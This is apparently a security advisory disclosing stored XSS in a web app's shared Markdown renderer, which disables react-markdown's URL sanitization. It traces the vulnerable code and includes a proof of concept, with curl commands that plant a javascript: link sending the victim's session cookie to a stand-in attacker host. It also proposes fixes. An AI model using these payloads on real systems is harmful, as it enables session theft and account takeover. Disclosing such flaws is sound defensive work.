Paperclip: Stored XSS via javascript: URLs in MarkdownBody — urlTransform override disables react-markdown sanitization

Summary

MarkdownBody, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes urlTransform={(url) => url} to react-markdown. That override replaces react-markdown's built-in defaultUrlTransform — the library's only defense against javascript:/vbscript:/data: URL injection — with a no-op, and the custom a component then renders the unsanitized href directly. Any authenticated company member can plant [text](javascript:...) in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim's session, enabling cross-user account takeover inside a tenant.

Details

1. Sink: MarkdownBody overrides url sanitization

ui/src/components/MarkdownBody.tsx:107-135 (custom anchor renderer) and ui/src/components/MarkdownBody.tsx:162 (Markdown element):

a: ({ href, children: linkChildren }) => {
  const parsed = href ? parseMentionChipHref(href) : null;
  if (parsed) { /* mention chip path, rewrites href */ }
  return (
    <a href={href} rel="noreferrer">
      {linkChildren}
    </a>
  );
},
// ...
<Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) => url}>
  {children}
</Markdown>

react-markdown v10 ships defaultUrlTransform (see react-markdown source) which strips any URL whose scheme matches /^(javascript|vbscript|file|data(?!:image\/(?:gif|jpeg|jpg|png|webp)))/i. Passing urlTransform={(url) => url} replaces that defense with an identity function, so unsafe hrefs flow directly into the custom a renderer. React 19 only emits a dev-mode warning for javascript: hrefs — in production builds it renders them verbatim, and clicking the link executes the script in the current origin.

2. Source: unsanitized markdown bodies

server/src/routes/issues.ts:815-862 accepts issue document bodies:

router.put("/issues/:id/documents/:key", validate(upsertIssueDocumentSchema), async (req, res) => {
  // ...
  assertCompanyAccess(req, issue.companyId);
  // ...
  const result = await documentsSvc.upsertIssueDocument({
    issueId: issue.id,
    key: keyParsed.data,
    title: req.body.title ?? null,
    format: req.body.format,
    body: req.body.body,          // ← stored verbatim
    // ...
  });

packages/shared/src/validators/issue.ts:196-202:

export const upsertIssueDocumentSchema = z.object({
  title: z.string().trim().max(200).nullable().optional(),
  format: issueDocumentFormatSchema,     // enum: ["markdown"]
  body: z.string().max(524288),          // no content validation
  // ...
});

Only the format enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern — svc.addComment (server/src/routes/issues.ts:1639) stores a z.string().min(1) body (line 166 of the validator).

3. Rendering path

ui/src/components/IssueDocumentsSection.tsx:71-72:

function renderBody(body: string, className?: string) {
  return <MarkdownBody className={className}>{body}</MarkdownBody>;
}

ui/src/components/CommentThread.tsx:372:

<MarkdownBody className="text-sm">{comment.body}</MarkdownBody>

The same sink is reused by IssueChatThread, ApprovalDetail, AgentDetail, CompanySkills, CompanyImport/CompanyExport, and RunTranscriptView. Every Markdown surface in the product inherits the vulnerability.

4. Authorization does not block cross-user reach

server/src/routes/authz.ts:18-31 (assertCompanyAccess) accepts any authenticated user whose companyIds includes the target companyId. There is no role check — a low-privilege company member can plant a payload against admins and owners who view the issue.

5. No compensating CSP

A repository-wide grep for Content-Security-Policy finds only two matches, both scoped to sandboxed export/preview responses (server/src/routes/assets.ts:328 and server/src/routes/issues.ts:2572). The main application HTML is served without any CSP, so the browser will happily navigate a javascript: href on click.

PoC

Prerequisites: two accounts in the same company (attacker and victim), an existing issue <ISSUE_ID>, the backend reachable on http://localhost:3000.

Step 1 — Attacker plants a malicious issue document:

curl -X PUT 'http://localhost:3000/api/issues/<ISSUE_ID>/documents/plan' \
  -H 'Cookie: <attacker-session-cookie>' \
  -H 'Content-Type: application/json' \
  -d '{
        "format": "markdown",
        "body": "# Plan\n\n[Click for details](javascript:fetch(\"https://attacker.example/steal?c=\"+encodeURIComponent(document.cookie)))"
      }'

Expected (verified): 201 Created with the persisted document JSON. upsertIssueDocumentSchema accepts the body because it is a valid markdown string under 524288 bytes.

Step 2 — Victim opens the issue:

The victim navigates to the issue in the browser. IssueDocumentsSection calls renderBody(doc.body) → <MarkdownBody>, which emits the DOM:

<a href="javascript:fetch(&quot;https://attacker.example/steal?c=&quot;+encodeURIComponent(document.cookie))" rel="noreferrer">Click for details</a>

Step 3 — Victim clicks the link:

The browser executes the javascript: URL in the Paperclip origin. The attacker's listener receives the victim's session cookie. From there the attacker can replay the cookie against any endpoint guarded by assertCompanyAccess to act as the victim — posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc.

Alternate vector — comments (same sink):

curl -X POST 'http://localhost:3000/api/issues/<ISSUE_ID>/comments' \
  -H 'Cookie: <attacker-session-cookie>' \
  -H 'Content-Type: application/json' \
  -d '{"body":"[pwn](javascript:alert(document.cookie))"}'

CommentThread.tsx:372 renders comment.body through the same MarkdownBody sink, producing the same stored XSS without needing document-edit privileges.

Impact

• Cross-user stored XSS inside the tenant. A low-privilege company member can plant a payload that runs in any other member's session — including admins/owners — on click.
• Session hijack. The script executes on the Paperclip origin with access to document.cookie and every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host.
• Privilege escalation. Because every assertCompanyAccess route accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings).
• Tenant-wide blast radius. The same MarkdownBody sink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable.
• Persistent. The payload lives in the document or comment record until explicitly deleted.

Recommended Fix

The minimum fix is to remove the urlTransform override in ui/src/components/MarkdownBody.tsx:162 and rely on react-markdown's defaultUrlTransform:

// ui/src/components/MarkdownBody.tsx
import Markdown, { defaultUrlTransform, type Components } from "react-markdown";

// ...

// Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs,
// but fall back to the library's scheme allow-list for everything else.
function safeUrlTransform(url: string): string {
  if (url.startsWith("paperclip-mention://")) return url;
  return defaultUrlTransform(url);
}

<Markdown
  remarkPlugins={[remarkGfm]}
  components={components}
  urlTransform={safeUrlTransform}
>
  {children}
</Markdown>

defaultUrlTransform strips javascript:, vbscript:, file:, and non-image data: URIs, which closes this finding for every call site of MarkdownBody.

Defense-in-depth recommendations:

1. Add a strict Content-Security-Policy header to the main app response (e.g. script-src 'self' 'nonce-...') so that even a future regression cannot execute inline JS via javascript: navigation.
2. Server-side validate document and comment bodies for obviously unsafe markdown patterns (e.g. reject ](javascript: sequences) as belt-and-braces. Do not rely on client-side sanitization alone, since other clients (mobile, exports) may render the same content.
3. Audit every existing component for other urlTransform/skipHtml/rehype-raw overrides that might reintroduce the same bypass.